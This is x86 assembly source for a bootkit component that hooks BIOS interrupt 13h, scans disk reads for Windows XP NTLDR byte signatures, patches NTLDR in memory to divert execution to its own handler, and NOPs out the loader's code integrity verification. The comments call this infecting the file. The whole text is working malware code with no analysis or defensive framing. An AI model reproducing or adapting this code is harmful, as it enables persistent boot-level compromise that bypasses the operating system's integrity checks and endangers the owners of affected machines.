
; now our background "service" starts, we get control only by int 13
; the code is now located at the end of memory (most likely 9F400h)


Interrupt_13_hook:

pushf                                                         ; Interrupt Vector 13 hook

; check if functions "Read" or "Extended Read" are requested
cmp ah,42h                                                    ; Extended Read?
jz Handle_Int13_Function
cmp ah,2h                                                     ; Read
jz Handle_Int13_Function                                      ; ...or read!

popf

Interrupt_Vector_13_Return_Address:

; jump to the original Int 13h handler (segment:offset will be patched dynamical)
jmp word 0000h:0000h


Handle_Int13_Function:

; execute int 13h read
mov [cs:Int_Patch_Function_Number + 1],ah                     ; store function number (patch)
popf
pushf                                                         ; simulate "int 13h" instruction (store flags and cs register)
push cs
call Interrupt_Vector_13_Return_Address                       ; forward the read sector command
jc Exit_Int13_hook_ret                                        ; if error => exit to user

; set environment for int 13h hook handler
pushf
cli
push es
pushad                                                        ; push register contents, we modify it in our hook handler
cld

; load int 13h parameters set by user (and note normalize the param differences between normal read and extended read)
mov ah,0                                                      ; transfered sectors (read: al, extended read: disk address packet.02h)
Int_Patch_Function_Number:
mov ch,0                                                      ; restore function number (from the patch applied at @7A)
cmp ch,42h                                                    ; if extended read special load values
jnz Int_Params_normalized

Extended_Read_set_Disk_Address_Packet:
lodsw                                                         ; load values from disk address packet
lodsw                                                         ;   +02h = [word] number of blocks to transfer
les bx,[si]                                                   ;   +04h = transfer buffer

Int_Params_normalized:
test ax,ax                                                    ; ax = number of sectors transfered
jnz Int_Params_SectorCount_set
inc ax                                                        ; sector count = minimum 1
Int_Params_SectorCount_set:


; now scan the read buffer for the signature of ntldr
;   + 8B F0 85 F6 74 21/22 80 3D
;     Windows XP.NTLDR +26B9Fh
mov cx,ax
shl cx,0x9                                                    ; sectors * 512
mov al,0x8b                                                   ;   scan byte
mov di,bx                                                     ; data buffer offset of sector
pusha
Scan_Read_Sector_loop:
repne scasb                                                   ; scan Bootloader for 8Bh
jnz NTLDR_delete_routine                                      ;   if not found ecx=0 => exit
nop
cmp [es:di],dword 0x74f685f0                                  ; check around signatures
jnz Scan_Read_Sector_loop                                     ; if not matching => next try
cmp [es:di+0x5],word 0x3d80
jnz Scan_Read_Sector_loop                                     ; if not matching => next try
mov al,[es:di+0x4]
cmp al,0x21
jz Found_File_to_Infect
cmp al,0x22
jnz Scan_Read_Sector_loop

Found_File_to_Infect:
mov si,Hook_Handler - 1                                       ; for fixing original simulated code
cmp [cs:si],byte 0                                            ; already fixed up ntldr original code?
jnz NTLDR_delete_routine                                      ; if already infected => exit
mov [cs:si],al                                                ;    mark as infected and set in missing code byte

; infect ntldr
mov [es:di-0x1],word 15FFh                                    ; ntldr (the code which jumps to the pointer)
mov eax,cs
shl eax,4
add ax,Ntldr_Hook
mov [cs:OriginalAddress],eax                                  ; set the pointer
sub ax,4                                                      ; -4 to get offset of OriginalAddress
mov [es:di+1],eax                                             ; ntldr (the code which jumps to the pointer)


; scan the read buffer for a part of the ntldr to bypass code integrity verification
;   + 83  C4 02 E9 00 00 E9 FD FF
;     Windows XP.NTLDR +1C81h
;     Windows XP.NTLDR +1C9Ch
NTLDR_delete_routine:
popa
mov al,0x83

Scan_Sector_loop_2:
repne scasb
jnz Restore_Flags_and_exit                                    ; if not found exit
cmp [es:di],dword 00E902C4h
jnz Scan_Sector_loop_2
cmp [es:di+0x4],dword 0FFFDE900h
jnz Scan_Sector_loop_2
mov [es:di-0x4],dword 83909090h                               ; set 3 bytes to instruction nop
and [es:di+0x6],word 0                                        ; modify jump operation, set highest byte to zero
jmp short Scan_Sector_loop_2                                  ; our signature occurs 2 times


Restore_Flags_and_exit:                                       ; everything done, exit interrupt 13h hook
popad
pop es
popf

Exit_Int13_hook_ret:
retf 2                                                        ; simulate "iretw" instruction, to preserve flags (especially flags.CF)


; ... hmm
OriginalAddress     dd  0
